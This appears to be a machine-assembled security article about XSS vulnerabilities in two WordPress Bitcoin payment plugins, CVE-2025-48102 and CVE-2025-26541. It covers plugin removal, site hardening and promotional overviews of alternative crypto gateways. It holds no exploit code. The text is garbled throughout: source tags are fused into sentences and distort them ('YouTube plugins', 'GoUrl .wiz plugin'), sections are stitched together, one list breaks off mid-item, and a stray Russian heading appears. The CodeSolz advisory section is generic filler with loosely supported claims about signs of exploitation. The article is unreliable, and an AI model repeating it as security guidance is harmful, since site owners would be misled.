- Privileges Required (PR:H) — high privileges (administrator) are required.
- User Interaction (UI:R) — user interaction is requiredfeedly
- Scope (S:C) – a mutable security context feedly
- Confidentiality/Integrity/Availability (C:L/I:L/A:L) – Low impact on all three parameters wiz
Attack mechanism
The vulnerability arises from improper neutralization of user input when generating web pages. An attacker with administrative privileges can inject malicious scripts into the WordPress content management system, which are then stored in the database and automatically executed when other users visit the page. patchstack+2
As Patchstack experts explain, this allows an attacker to inject various malicious elements, including:
- Redirects to phishing sites
- Unauthorized advertising
- Custom HTML Payloads patchstack
The criticality of the situation
Of particular concern is the fact that the GoUrl plugin is no longer supported by its developers . According to Patchstack, the software hasn’t been updated for over a year and likely won’t receive any further updates or patches. This leaves all websites using this plugin permanently vulnerable to exploitation.
Wiz platform experts note that this Stored XSS vulnerability was discovered in the WordPress plugin GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership and disclosed on September 5, 2025. Although exploitation requires administrator privileges, the malicious code can be executed on behalf of any site visitor , significantly expanding the potential scope of attack.
CVE-2025-26541: Reflected XSS Vulnerability in Bitcoin/AltCoin Payment Gateway
The second vulnerability, CVE-2025-26541 , was published on March 26, 2025 and affects the plugin: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce in all versions up to and including 1.7.6.
Vulnerability classification
This vulnerability is classified as a reflected XSS (cross-site scripting attack). Unlike stored XSS, reflected XSS occurs when malicious user input is immediately reflected back to the user via an HTTP response without proper sanitization, causing the victim’s browser to execute the attacker’s script.
Technical information
The vulnerability has been assessed according to the CVSS v3.1 system with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L , which indicates:feedly
- Network attack without the need for physical access
- Low complexity of operation
- Lack of Privilege :N (PR:N) is a critical factorsecalerts
- User interaction required
- Changeable security context
- Low impact on confidentiality, integrity and availability
Attack vector and fix
According to security researchers, the vulnerability can be exploited through reflected XSS attacks , allowing attackers to inject malicious scripts into web pages. Patchstack, the platform that first discovered this vulnerability, advises that to fix CVE-2025-26541, you need to update the Bitcoin/AltCoin Payment Gateway for WooCommerce plugin to version 1.7.7 or higher .
The Common Threat of XSS Vulnerabilities in WordPress
The scale of the problem
Cross-site scripting (XSS) is one of the most common vulnerabilities found in web applications. According to various studies, XSS vulnerabilities account for approximately 53.3% of all WordPress plugin vulnerabilities .
Particularly alarming is the fact that in 2024, a whopping 1,614 plugins were removed from the WordPress.org repository due to security concerns, of which 1,450 were classified as having high or medium priority vulnerabilities. Many of these plugins remain active on websites , exposing them to constant attacks.
Consequences of exploitation
Stored XSS attacks are particularly dangerous because the malicious code is saved in the website’s database and automatically executed for every visitor viewing the infected page. This makes Stored XSS significantly more destructive than Reflected XSS, as:fastly+1
- Widespread impact – an attacker can inject a script once, and it will be executed for all users viewing that content.
- Administrator Session Hijacking – Allows attackers to intercept administrator sessions and gain complete control over the security.friendsofpresta+1 website.
- Theft of sensitive data —including passwords, credit card information, and personal informationscworld+1
- Damaging your reputation by directing visitors to phishing sites and defacing content. wpexperts
Wordfence experts emphasize that in the context of WordPress, adding administrative users with attacker-controlled credentials and editing files can lead to a complete compromise of the site , and this is actively used by attackers.
Protective measures and recommendations
Immediate action
For website owners using the affected plugins, experts recommend the following immediate measures :
For CVE-2025-48102 (GoUrl):
- Immediately remove the plugin and replace it with an actively maintained alternative patchstack+1
- Deactivating the plugin does not eliminate the security risk unless the virtual patchstack is deployed.
- Since there is no official fix and the software is considered abandoned, the only effective solution is to completely remove it .
Critical Mitigation for CVE-2025-48102: Why Deactivating the GoUrl Plugin Isn’t Enough and What to Do
The discovery of vulnerability CVE-2025-48102 in the GoUrl Bitcoin Payment Gateway plugin has created a critical situation for thousands of WordPress website owners. Particularly alarming is the fact that standard security measures fail to provide adequate protection , while half-measures can create a false sense of security . Let’s take a closer look at why simply deactivating the plugin doesn’t solve the problem and what steps need to be taken to completely eliminate the threat.
Why deactivating the plugin doesn’t fix the security threat
The technical reality of deactivated plugins
Many WordPress administrators mistakenly believe that deactivating a plugin completely disables it and eliminates all associated security risks. However, this fundamental misconception can have disastrous consequences.dotwise+2
The critical difference between deactivation and deletion:
Deactivating a plugin simply disables its functionality in WordPress—the plugin code no longer interacts with your site, and its functions are no longer performed. However, all plugin files and data remain on the server unless you completely uninstall the plugin. This key distinction is crucial for understanding potential security risks.qodeinteractive+1
Physical presence of code on the server: Even when a plugin is deactivated, its files continue to be stored in a directory /wp-content/plugins/ on your server. If a plugin has known vulnerabilities , a hacker can exploit them by directly accessing the plugin files . This could occur through other vulnerabilities on your site, such as weak server security or compromised administrator credentials. magnatechnology+3
Dotwise security experts emphasize: “The code remains accessible. Even when the plugin is deactivated, its files remain stored on your server. If the plugin has known vulnerabilities, a hacker can exploit them by directly accessing the plugin files. “
Attack vectors for deactivated plugins
Targeted attacks: Cybercriminals often scan websites for certain vulnerable plugins . If a vulnerable plugin exists on your server, even if it’s disabled, it can still be attacked by an attacker. magnatechnology+1
Qode Interactive experts warn: “Deactivating a plugin instead of deleting it is great for diagnostics and troubleshooting, but it is always intended for short-term use only. If you want your WordPress site to be as secure as possible against hackers, you should delete all unused plugins and their files. “
Outdated Plugins: Deactivated plugins are often overlooked during regular WordPress maintenance . If a plugin isn’t updated to patch security vulnerabilities, it can become a weak link in your site’s security. Hackers often exploit outdated software, and a deactivated plugin is no exception.dotwise+1
The Magna Technology team notes: “One of the most critical issues with deactivated plugins is security. Even though deactivated plugins don’t run, they remain in your WordPress installation and can become a vulnerability if they aren’t updated regularly. Hackers often exploit outdated plugins to gain access to websites, even if those plugins are inactive . “
Lack of official fix and abandoned software status
The criticality of the situation with GoUrl
The specific nature of CVE-2025-48102 is that the GoUrl Bitcoin Payment Gateway plugin is no longer supported by its developers . This creates a unique and extremely dangerous situation for all users of the plugin. patchstack+1
Patchstack’s official position: The Patchstack vulnerability page clearly states: “This software is likely abandoned! This software was last updated over a year ago and will likely not receive further updates or patches. Please urgently consider replacing the software with an alternative.” patchstack
Critical Deactivation Warning: Patchstack specifically states: “Please note that deactivating the software does not eliminate the security risk unless a virtual patch (vPatch) is deployed.” patchstack
Wiz Experts’ Recommendation : Wiz platform experts state bluntly: “Since there is no official fix and the software is considered abandoned, the recommended mitigation measure is to remove and replace the plugin with an actively maintained alternative .
Consequences of using abandoned software
Persistent vulnerability: Without developer support, no security updates will be released . This means any discovered vulnerabilities, including CVE-2025-48102, will remain unpatched forever. wiz +1
Accumulation of risks: Over time , additional vulnerabilities may be discovered that also go unpatched. According to Patchstack statistics, a whopping 1,450 plugins were removed from the WordPress.org repository in 2024 due to high or medium priority vulnerabilities .
Incompatibility with future versions: Abandoned plugins may become incompatible with future versions of WordPress, PHP, or other dependencies , creating additional functionality and security issues. mainwp +1
The Role of Virtual Patching in Protecting Vulnerable Plugins
What is virtual patching?
Virtual Patching is a security technique that blocks known exploits before they reach vulnerable code , without making any changes to the application itself. wp-umbrella+2
OWASP Definition: The OWASP organization defines virtual patching as “a level of security policy enforcement that prevents the exploitation of a known vulnerability . “
How it works: Virtual patches analyze transactions and intercept attacks in transit, so malicious traffic never reaches the web application . As a result, even though the actual application source code hasn’t been modified, exploitation attempts fail.owasp+1
How a virtual patch protects against CVE-2025-48102
Vulnerability Specificity: Unlike general-purpose Web Application Firewalls (WAFs), which rely on broad detection patterns, virtual patches are written as targeted rules that match specific payloads . If a plugin has an SQL injection or cross-site scripting vulnerability, a virtual patch can intercept and block the exact request signature that exploits it. wp-umbrella+1
Patchstack Technology: Patchstack uses vulnerability-specific JSON rules that can include various instructions. For example, for SQL injection, which can be achieved by including a malicious payload in the POST id parameter, a virtual patch can use a whitelist approach , where the id can only contain a number. patchstack+1
Automated deployment: When a vulnerability is discovered and documented with a CVE identifier, security researchers—or platforms like Patchstack— verify the vulnerability and document exactly how the exploit works . This becomes the basis for a virtual patch, which can then be automatically deployed to all protected sites .
Advantages and limitations of virtual patching
Key benefits:
- Immediate Protection: Provides protection within hours of a vulnerability being discovered, even if an official fix has not yet been released.searchenginejournal+1
- Zero-day protection: Sites protected by Patchstack are protected even against zero-day vulnerabilities that are not yet known to the public.
- Scalability: Managed web application firewalls can deploy patches across a network of websites simultaneously.
- Risk Mitigation: Reduces risk before a vendor releases a patch or during testing and patch applicationowasp
- Conflict-Free: Less chance of conflicts than manually patching code.
- Ease of implementation: Unlike application firewalls that rely on generic rule sets, Patchstack knows exactly what vulnerabilities are present and can provide customized protection for each site.theadminbar
Critical limitations for CVE-2025-48102:
Despite all the benefits of virtual patching, it’s not a long-term solution for the abandoned GoUrl plugin . Patchstack clearly warns that deactivating the software doesn’t eliminate the security threat unless a virtual patch is deployed . However, relying solely on a virtual patch for continuous protection against abandoned software is a dangerous strategy , as:patchstack
- New vulnerabilities may be discovered for which virtual patches have not yet been created.
- A virtual patch is a temporary measure , not a permanent solution. sucuri+1
- An active subscription to a service such as Patchstack is required to maintain protection. wp-umbrella+1
The only effective solution is to completely remove the plugin.
Why is complete removal necessary?
Considering all factors— the lack of an official fix, the abandoned software’s status, the inadequacy of deactivation, and the temporary nature of virtual patching —experts are unanimous: the only effective solution for CVE-2025-48102 is the complete removal of the GoUrl .wiz plugin . +1
Expert consensus:
- Patchstack: “Urgently consider replacing the software with an alternative”patchstack
- Wiz : “The recommended mitigation measure is to remove and replace the plugin.”wiz
- WPBeginner: “Yes, not only is it safe, but it’s also recommended to delete inactive plugins that you don’t plan to use again.” wpbeginner
- Qode Interactive: “If you want your WordPress site to be as secure as possible against hackers, you need to delete all unused plugins and their files.” qodeinteractive
Step-by-step process for secure removal
Step 1: Create a full backup of Jetpack+1
Before removing any plugin , be sure to create a full backup of your site, including files and the database. This will ensure you can restore your site if problems occur. Recommended tools: liquidweb+1
- Jetpack VaultPress Backup for automated backups
- UpdraftPlus for comprehensive backups wppluginexperts
- BlogVault for Backup Management wppluginexperts
Step 2: Deactivate the plugin via the kinsta+1 dashboard
Log in to your WordPress dashboard and go to Plugins → Installed Plugins . Find GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership and click “Deactivate.” kinsta+1
Step 3: Remove the wpbeginner+1 plugin from WordPress
After deactivating, click “Delete” under the plugin name. WordPress will delete the plugin files from the /wp-content/plugins/.jetpack+3 directory.
Step 4: Clean up the database from residual liquidweb+2 tables
A critical step: Many WordPress plugins create their own tables in the database that are not automatically deleted when the plugin is uninstalled. These “orphaned tables” continue to take up space and may contain sensitive data. youtubeonlinemediamasters+3
Database cleaning methods:
A. Using plugins to clean up the database: nitropack+2
Advanced Database Cleaner is a comprehensive WordPress database cleaning plugin: wordpress+1
- The Pro version allows you to remove orphaned tables left behind by removed WordPress+1 plugins.
- Identifies tables that are no longer used by active WordPress plugins.
- Provides a preview function before removing nitropack
WP-Optimize is a popular optimization tool: jetpack+2
- Opens the Tables tab and allows you to delete specific jetpack tables.
- Marks tables as “not installed” or “inactive” onlinemediamasters
- Provides a “Remove” button in the Actionsonlinemediamasters tab
Plugins Garbage Collector is a specialized plugin for detecting orphaned tables: YouTube
- Scans the database and displays the results in three colors. YouTube
- Red color indicates possible orphaned tables from unused YouTube plugins.
- Green highlights tables required by active YouTube plugins.
- Blue color indicates tables from deactivated YouTube plugins.
B. Manual cleanup via phpMyAdmin: mehulgohil+2
For advanced users:
- Log in to phpMyAdmin through your hosting control panel. mehulgohil+1
- Select your WordPressliquidweb database
- Use the Search function to find tables related to GoUrljetpack
- Find tables with a GoUrl-specific prefix (e.g.,
wp_gourl_*,wp_crypto_files,wp_crypto_payments,wp_crypto_membership,wp_crypto_products)wordpress+1 - Select the tables and click “Delete” to remove them from jetpack.
SQL query to delete specific tables: liquidweb
sql:
DROP TABLE wp_gourl_tablename;Replace wp_gourl_tablename with the actual table name. Always double-check that no other plugin is using the table.
Step 5: Check for residual jetpack+1 files
Some plugins may create files outside the plugins directory . Check the directory /wp-content/uploads/ for folders associated with GoUrl (for example, [ /wp-content/uploads/gourl/wordpress+2]) and delete them via FTP or your hosting file manager.
Step 6: Removing Unused Shortcodes
If GoUrl shortcodes were used in your site’s content, they will become inactive and display as text . Find and remove them manually from posts and pages.
Selection and implementation of an actively supported alternative
Criteria for choosing a safe alternative
When choosing a replacement for GoUrl, you should consider the following factors:
1. Active support and regular updates: wp-content+1
- The plugin must be updated regularly (at least several times a year)wp-content
- The developer must actively respond to security reports. Patchstack
- Documentation and technical support for mainwp should be available.
2. A Strong Security Reputation: paymattic+1
- Using SSL/TLS certificates with 256-bit encryption (getshieldsecurity+1)
- PCI DSS Compliance Hosted+1
- Positive reviews and safety ratings beycanpress+1
3. Technical compatibility: crocoblock+1
- Compatibility with your version of WordPress and PHPbeycanpress
- Integration with existing e-commerce plugins (WooCommerce, etc.)crocoblock+1
- Support for essential cryptocurrency awisee+1
Recommended GoUrl Alternatives
BTCPay Server is a self-hosted, open-source solution: instawp+2
- Full control and privacy —no KYCatlos+1 required
- Direct payments to your wallet without intermediaries awisee+1
- Open source with an active developer community instawp+1
- Zero transaction fees
- Requires technical skills to set up your own atlos server.
Blockonomics is a decentralized payment gateway: slashdot+2
- Payments go directly to your slashdot+1 Bitcoin wallet.
- No KYC required slashdot+1
- The first 20 transactions are free + 1% commission.
- Easy integration with WordPress and WooCommerce atlos+1
- Open source code atlos
CryptoPay (by BeycanPress) is a comprehensive crypto payment gateway: beycanpress+1
- Support for 16+ WordPress plugins by beycanpress
- Internal support for EVM networks beycanpress
- A wide selection of cryptocurrencies: Crocoblock
- Active development and support by beycanpress
CoinGate is a trusted blockchain payment processor: g2+2
- Support for over 50 cryptocurrencies.
- Good reputation and long history of workawisee
- Professional technical support awisee
- Regulatory Complianceg2
MyCryptoCheckout is a privacy-focused plugin: instawp+2
- 0% transaction fees instawp+1
- Peer-to-peer transactions without third parties instawp
- Supports over 100 coins, including Bitcoin and Ethereuminstawp
- Direct payments to your preferred instawp wallets
ABC Crypto Checkout – Direct Crypto Payments: crocoblock+1
- Direct payments to crypto wallets without intermediaries (crocoblock+1)
- Integration with Binance Pay API instawp
- Convert any fiat currency to cryptocurrency at live rates at instawp.
- Immediate crediting of funds to the merchant account instawp
Additional security measures after removal
Post-Removal Security Audit
1. Malware Scan: solidwp+1
- Use professional incident response services to scan for server malware patchstack
- Don’t rely on malware scanning plugins, as they are often tampered with by malicious code.
- Recommended services: Wordfence, Sucuri, Patchstackdreamhost+1
2. Checking administrator accounts: wordfence+1
- Check for suspicious administrative accounts that may have been created through exploitation of an XSS vulnerability .
- Remove all unknown or unauthorized accounts solidwp
- Change passwords for all solidwp administrative accounts
3. Access log analysis: wp-rocket+1
- Review your server logs for unusual activity while the vulnerable plugin was in use.
- Look for suspicious requests to GoUrlhosted plugin files
- Check for unauthorized access attemptswp-rocket
Preventive strategies for the future
1. Regularly audit installed plugins: patchstack+2
- Check all installed plugins monthly for development activity.
- Identify plugins that haven’t been updated in more than 6 monthsdreamhost+1
- Immediately remove abandoned or unused pluginswp-content+1
2. Implementing the plugin management policy: wp-eventmanager+1
- Install only plugins from the official WordPress repository or from trusted providers (paymattic+1)
- Check ratings, reviews, and update history before installing patchstack.
- Limit the number of installed plugins to the necessary minimumwp-eventmanager
3. Automate security updates: wp-eventmanager+1
- Enable automatic updates for critical security plugins (patchstack)
- Use monitoring services,
Для CVE-2025-26541 (CodeSolz):
- Update to version 1.7.7 or higher immediatelysecalerts
- Check for suspicious administrative accounts
- Review access logs for unusual activity
Security Advisory for CVE-2025-26541 (CodeSolz)
Basic information about CVE-2025-26541
CVE-2025-26541 is a vulnerability identifier associated with the CodeSolz product. This vulnerability poses a significant security threat to resources using this software, as it allows attackers to gain unauthorized access to administrative functions or perform malicious actions on vulnerable system instances.
Recommendations for elimination and prevention
1. Immediately update CodeSolz to version 1.7.7 or higher
The official CodeSolz developers have released a patch for CVE-2025-26541, starting with version 1.7.7. The exploited vulnerability has been patched, significantly reducing the risk of hacking. This update should be applied immediately to all CodeSolz instances, especially if the system is exposed to external access or is used in corporate infrastructure.
- After updating, it is recommended to ensure that the process was completed correctly, there are no errors in the logs, and the system’s functionality is not impaired.
- If automatic update checking is disabled, it is recommended to check for new versions manually on a regular basis.
2. Checking for suspicious administrative accounts
One of the hallmarks of the CVE-2025-26541 exploit is the emergence of new, unauthorized administrative accounts. Actions required:
- Open the Users/Accounts control panel.
- Compare the list of current administrators with the expected (approved) list.
- Pay particular attention to accounts that were created recently, lack personalized information, or use unusual names.
- All suspicious or clearly illegitimate accounts must be immediately deleted and the person who created them identified.
Additionally, it is recommended to enable two-factor authentication for all administrative accounts and segment permissions to reduce potential damage.
3. Review access logs for unusual activity
Once an exploit is detected or suspected, it is essential to review the system logs:
- Check your logs for the last few weeks/days for logins from unknown IP addresses.
- Look for mass login attempts, as well as logins at unusual times for employees.
- Record all instances of successful or unsuccessful logins through the admin panel, especially if they occurred after a system update or the addition of new users.
- Carefully analyze attempts to change access rights, delete or create accounts, and other non-standard operations.
Modern logging systems provide filtering functions by events, time, IP addresses, and activity type, which can significantly speed up analysis.
Payment data security and SSL/TLS encryption
Using SSL/TLS certificates with 256-bit encryption is a fundamental requirement for all websites processing payments. Modern SSL certificates use TLS version 1.2 or higher, providing reliable encryption of data between the user’s browser and the web server. The 256-bit AES (Advanced Encryption Standard) encryption used in SSL/TLS connections is considered completely secure by modern standards—the time required to brute-force crack such encryption exceeds the age of the universe.
Key points for SSL/TLS implementation:
- Automatic Certificate Renewal : Let’s Encrypt certificates, which are provided free by most hosting providers, are valid for 90 days and require automatic renewal to prevent unplanned downtime.wordpress+1
- Force HTTPS : You must configure redirection of all traffic from HTTP to HTTPS through server configuration files or specialized WordPress plugins.sectigostore+2
- Disabling legacy protocols : TLS 1.0 and 1.1 should be disabled, and only TLS 1.2 and 1.3 should be used for maximum security.melapress+1
- Cipher Suite Optimization : It is recommended to prioritize modern encryption algorithms such as AES-256 and ECDHE for key exchange.wpbrigade+1
Beyond basic security, SSL certificates are critical for SEO: Google prioritizes HTTPS sites in search results, and browsers display “Not Secure” warnings for HTTP sites, which directly impacts user trust and conversion rates.
PCI DSS Compliance
The Payment Card Industry Data Security Standard (PCI DSS) is a mandatory set of 12 security requirements for any business accepting bank card payments. These requirements are organized into six main categories: wpeasypay+2
1. Creating and maintaining a secure network infrastructure
- Installing and configuring a firewall to protect cardholder data.visualmodo+1
- Change all factory default passwords and security settings.wpeasypay+1
2. Protecting cardholder data
- WordPress doesn’t store map data by default, which significantly reduces compliance requirements. technologyally+1
- Using tokenization through payment gateways (Stripe Elements, PayPal Checkout) ensures that sensitive data never reaches your server.paymentsplugin+3
- Encrypt data when transmitted over open networks using SSL/TLS.melapress+2
3. Vulnerability Management Program
- Protect all systems from malware with regularly updated antivirus software.
- Development and support of secure systems and applications.melapress+1
4. Strict access control measures
- Restricting access to cardholder data on a need-to-know basis.wpeasypay+2
- Assign a unique ID to each user with computer access.visualmodo+1
- Restricting physical access to cardholder data.melapress+1
5. Regular monitoring and testing of networks
- Track and monitor all access to network resources and cardholder data.wpeasypay+2
- Regular security testing.visualmodo+1
6. Information Security Policy
- Maintaining a documented information security policy.melapress+1
Practical steps for WordPress sites:
For most WordPress sites using third-party payment gateways, completing a Type A Self-Assessment Questionnaire (SAQ) is sufficient. It is critical to choose a PCI DSS-compliant hosting provider that provides secure server configurations, strong firewalls, and limited physical access to servers.digitalchicks+4
Failure to comply with PCI DSS can result in serious financial consequences: fines range from $5,000 to $100,000 per month, plus potential liability for fraudulent losses, investigations, and legal costs. In extreme cases, acquiring banks may terminate your merchant account and prohibit you from accepting card payments.
Two-factor authentication (2FA)
Two-factor authentication adds a critical layer of security to administrative access by requiring a second form of identification beyond just a password. Statistics show that 81% of WordPress hacks are due to weak or stolen passwords, making 2FA an indispensable security feature.
Methods for implementing 2FA in WordPress:
- Authenticator apps (Google Authenticator, Authy): Generate six-digit one-time codes that refresh every 30 seconds. wpadminify+2
- Email Codes : A Simple Method Suitable for Non-Smartphone Users.
- SMS codes : An additional option, although less secure than authenticator apps.wordpress
- Biometric authentication : Modern solutions include Face ID or fingerprint scanning. teamupdraft+1
- Backup Codes : One-time recovery codes in case you lose access to your primary authentication method. wpadminify+1
Best practices for 2FA implementation:
- Mandatory 2FA for admins : Start by requiring two-factor authentication for all users with the admin role, then expand to editors and authors. wpvip+2
- Adjust the onboarding period : Give users a reasonable period (e.g. 7-14 days) to set up 2FA before enforcement.supporthost
- Role-Based 2FA Policy : Use plugins to customize 2FA requirements for specific user roles. teamupdraft+2
- Safe storage of backup codes : Train users to save backup codes in a secure location (password manager, encrypted storage).wpadminify+1
Popular plugins for implementing 2FA include WP 2FA, Wordfence Login Security, All-in-One Security (AIOS), and built-in features in comprehensive security solutions.
3D Secure protocols for additional verification
3D Secure (3DS) is a security protocol developed by EMVCo to add an additional layer of protection to online card payments. The name “3D” refers to the three domains involved in the transaction : the issuer domain (the cardholder’s bank), the acquirer domain (the merchant and their payment provider), and the compatibility domain (the payment system directory—Visa, Mastercard).sift+1
How 3D Secure works:
- The customer enters card details on the payment page.knowledge.antom+1
- The merchant’s system contacts the payment system to verify the card’s 3DS support.sift
- The issuing bank assesses risk based on more than 100 data points (device type, behavior history, geolocation).futuremarketinsights+1
- Frictionless authentication (low risk): The bank automatically approves the transaction without user intervention.knowledge.antom+1
- Challenge authentication (high risk): The bank may request additional verification—an SMS code, biometric verification, or a passkey.futuremarketinsights+2
Benefits of 3D Secure 2.0:
- Reduce Card Fraud : Effectively Detects Suspicious Activity Before Losses Occur.sift+1
- Liability shift : If the customer is successfully authenticated, the bank, not the merchant, is responsible for chargebacks.knowledge.antom+1
- SCA Compliance : Ensures compliance with Strong Customer Authentication requirements under PSD2 and other regulatory standards.futuremarketinsights+1
- Frictionless experience : 3DS 2.0 supports risk-based authentication, allowing low-risk transactions to proceed without additional steps, reducing cart abandonment rates. worldline+2
- Mobile Payment Support : Optimized for mobile devices and apps.sift+1
The Future of 3D Secure:
By 2026, widespread adoption of Secure Payment Confirmation (SPC) based on FIDO2/WebAuthn, which uses biometric methods (Face ID, fingerprint scanning) instead of one-time codes, is expected. Delegated authentication will allow merchants or digital wallets to directly authenticate returning users without redirecting them to the bank’s server, while maintaining the transfer of responsibility.futuremarketinsights+1
Additional security measures
Payment data tokenization:
Tokenization replaces sensitive card data with a unique identification code (token) used for digital transactions. Tokens are irreversible—the original information cannot be retrieved without access to the secure token vault. This minimizes the risk of data leakage and helps comply with PCI DSS requirements.
HTTP Security Headers:
Implementing HTTP security headers provides additional protection: wpsecurityninja+5
- Content-Security-Policy (CSP) : Restricts where resources can be loaded, preventing cross-site scripting (XSS) attacks.malcare+3
- Strict-Transport-Security (HSTS) : Forces HTTPS even if the user attempts to navigate to an HTTP link.xcloud+2
- X-Frame-Options : Prevents clickjacking attacks.themewinter+1
- X-Content-Type-Options : Stops MIME sniffing by browsers. wpsecurityninja+1
Web Application Firewall (WAF):
WAF filters malicious traffic before it reaches your site, blocking SQL injections, XSS attacks, and DDoS attacks. Cloudflare provides powerful WAF rule customization for WordPress sites, including blocking access to wp-login.php from specific countries, disabling xmlrpc.php, and limiting the rate of login attempts. flywp+3
Vulnerability Management:
Regular vulnerability scanning is critical to identifying security issues before they are exploited. Scanners should cover a vulnerability database of over 60,000 known vulnerabilities in WordPress core, themes, and plugins. Automatically updating site components closes the critical vulnerability window between the publication of a security issue and the application of a patch.
Principle of least privilege:
Grant users only the access rights absolutely necessary to perform their tasks. Regularly audit user accounts, removing inactive accounts and reviewing assigned roles. Limit the number of administrators and editors by using custom roles for more granular control.melapress+4
Audit Logs and Monitoring:
Maintaining detailed user activity logs allows you to track all changes on your site, identify suspicious behavior, and ensure compliance with regulatory requirements (GDPR, PCI DSS). Plugins like WP Activity Log record user logins/logouts, content changes, plugin installations, file modifications, and other critical events, along with time, IP address, and the current user.
Disaster Recovery Plan:
Regular automated backups, including the database and site files, should be stored in multiple off-site encrypted locations. Define a recovery time objective (RTO) and recovery point objective (RPO), create step-by-step instructions for the team, and regularly test the recovery process. trewknowledge+4
Comprehensive security for WordPress websites with payment gateways requires a systematic approach combining cryptographic protection (256-bit SSL/TLS encryption), strict adherence to industry standards (PCI DSS), modern authentication methods (2FA, 3D Secure), secure data processing practices (tokenization), and proactive security monitoring. Implementing these measures not only protects sensitive customer data but also increases user trust, improves SEO rankings, and minimizes the financial and reputational risks associated with security breaches.
2. Managing patchstack+2 plugins
- Regularly audit installed plugins to identify abandoned or outdated components. mainwp+1
- Immediate removal of unsupported plugins and their replacement with actively developed alternatives wp-eventmanager+1
- Enabling automatic updates for critical security plugins (patchstack)
- Use only plugins from the official WordPress repository or verified providers (paymattic)
3. XSS protection solidwp+1
- Implementing Content Security Policy (CSP) headers to restrict the origins of executed scriptsscworld
- Using a Web Application Firewall (WAF) with OWASP 941 Rules to Block XSS Attacks wp-rocket+1
- Enabling security rules specific to patchstack payment plugins
- Apply validation and sanitization to all user input data cwe.mitre+1
4. Monitoring and audit hosted+1
- Installing security plugins (Wordfence, Patchstack, Sucuri) for automatic vulnerability detection
- Conducting regular security scans to identify known vulnerabilities
- Implementing incident response systems with real-time alertshosted
- Maintaining comprehensive transaction records for incident investigationshosted
CryptoPay: A Comprehensive Analysis of the Recommended Solution
Against this critical backdrop, CryptoPay stands out as one of the most secure and functional solutions for accepting cryptocurrency payments on WordPress.
Security architecture and key benefits
CryptoPay implements a peer-to-peer (P2P) transaction model, meaning payments are sent directly from the client’s crypto wallet to the merchant’s wallet without the need for intermediaries. This architecture provides several critical advantages: instawp+2
Completely free of plugin fees : Unlike traditional payment gateways, CryptoPay charges no transaction fees. The only costs are standard blockchain network fees (gas fees), which are paid by the sender. This is a stark contrast to traditional payment systems, which typically charge between 1.5% and 3% of each transaction.
No KYC (Know Your Customer) requirements : CryptoPay doesn’t require identity verification documents. This significantly simplifies getting started and enhances privacy for both merchants and buyers, which is especially important in the cryptocurrency ecosystem, where privacy is a key priority.
Self-custody model : All payments are sent directly to the merchant’s wallet, without the need for third-party intermediary storage. This eliminates the risks associated with hacking centralized services or freezing funds.
Support for blockchain networks and cryptocurrencies
CryptoPay offers impressive support for multiple blockchain ecosystems:fao.wordpress+2
EVM-compatible networks : The plugin natively supports the Ethereum Virtual Machine (EVM), a decentralized computing environment that runs smart contracts on the Ethereum blockchain and compatible networks. The EVM operates as a global decentralized processor, ensuring deterministic code execution across all network nodes. The free version of the plugin supports 5 EVM networks, while the premium version offers unlimited support for EVM networks, including Ethereum, Binance Smart Chain, Polygon, Arbitrum, Optimism, Fantom, Avalanche, zkSync Era, and many others.
Additional blockchain ecosystems : The premium version supports Bitcoin, Solana, Tron, and other non-EVM networks through paid add-ons. This allows you to accept payments in the most popular cryptocurrencies, covering a wide range of user preferences. liquidity-provider+2
Tokens and stablecoins : CryptoPay allows you to accept payments in any ERC-20 token on Ethereum and similar standards on other EVM networks. This includes the key stablecoins USDT and USDC, which minimize volatility risks for merchants.
Extensive ecosystem of integrations
CryptoPay integrates with over 16 popular WordPress plugins, making it a versatile solution not only for WooCommerce but also for other platforms: liquidity-provider+1
- WooCommerce — native support with full integration into the checkout process
- Easy Digital Downloads (EDD) – for selling digital products
- MemberPress, Restrict Content Pro, MemberDash, ARMember, Paid Memberships Pro — membership management systems
- LearnDash LMS — an online learning platform
- GiveWP — accepting cryptocurrency donations
- Dokan Multi Vendor — multi-vendor marketplaces
- Gravity Forms, WPForms, Ninja Forms, Contact Form 7 — forms with payment processing capabilities
- myCred — a gamification and points system for WordPress+1
This deep integration is achieved through a powerful plugin API that allows developers to create their own integrations. github +1
Licensing models and functional differences
Free version (Lite) :
- Support for 5 pre-installed EVM networks
- Direct payments from Web3 wallets (MetaMask, Trust Wallet, etc.)
- Integration with WooCommerce and other plugins
- No plugin fees
- No limits on withdrawals
- No support for QR code payments (transfer to address)
- No option to add custom tokens (quadlayers+2)
Premium version :
- Unlimited support for EVM networks
- QR code payments (transfer to address) are a critical feature for mobile payments.
- Unlimited token support for each network
- Ability to add custom tokens and prices (e.g., the project’s own utility tokens)
- Additional exchange rate converters (CoinGecko, CoinMarketCap, Moralis, etc.) wphive+2
- Additional network modules (Bitcoin, Solana, Tron) are purchased separately.fao.wordpress
- A lifetime license is available for a one-time payment of approximately $49-89wpmayor+1
An important technical point to note is that network support for Bitcoin, Solana, and Tron is only available for the premium version, as some services, such as “QR code payments via transfer to address,” run on servers that require monthly fees for the provider.fao.wordpress
BTCPay Server: A Secure Alternative to Vulnerable Bitcoin Payment Gateway Plugins
Critical Vulnerabilities in Bitcoin Plugins
With the growing popularity of cryptocurrency payments, many commercial websites are using WordPress plugins to accept Bitcoin payments. However, the industry is facing a serious security issue: numerous Bitcoin payment gateway plugins contain critical vulnerabilities that pose a real threat to businesses and customers.invicti+4
The main types of vulnerabilities identified were:
SQL injections (CVSS 9.3) allow attackers to directly interact with the database, stealing sensitive information. The Bitcoin/AltCoin Payment Gateway for WooCommerce and Multi CryptoCurrency Payments plugins are vulnerable to this critical vulnerability .
Payment bypass — The Crypto Payment Gateway with Payeer for WooCommerce plugin (CVE-2025-11890) does not perform server-side payment status validation, allowing unauthenticated attackers to change the status of unpaid orders to paid, resulting in direct financial losses. github +2
Arbitrary file uploads – The GoUrl Bitcoin Payment Gateway plugin allows the upload of arbitrary executable files, which can lead to complete website compromise.really-simple-ssl+1
Cross-Site Scripting (XSS) and Information Leaks – Multiple plugins are vulnerable to XSS attacks and sensitive data disclosure. wpscan+2
It is critical to note that many of these vulnerabilities are not patched (status “No Fix”), making the use of such plugins extremely risky. patchstack+2
Security architecture
Non-custodial model —your private keys never leave your wallet. BTCPay Server only works with extended public keys (xpub), eliminating the possibility of funds being stolen even if the server is compromised. btcpayserver+2
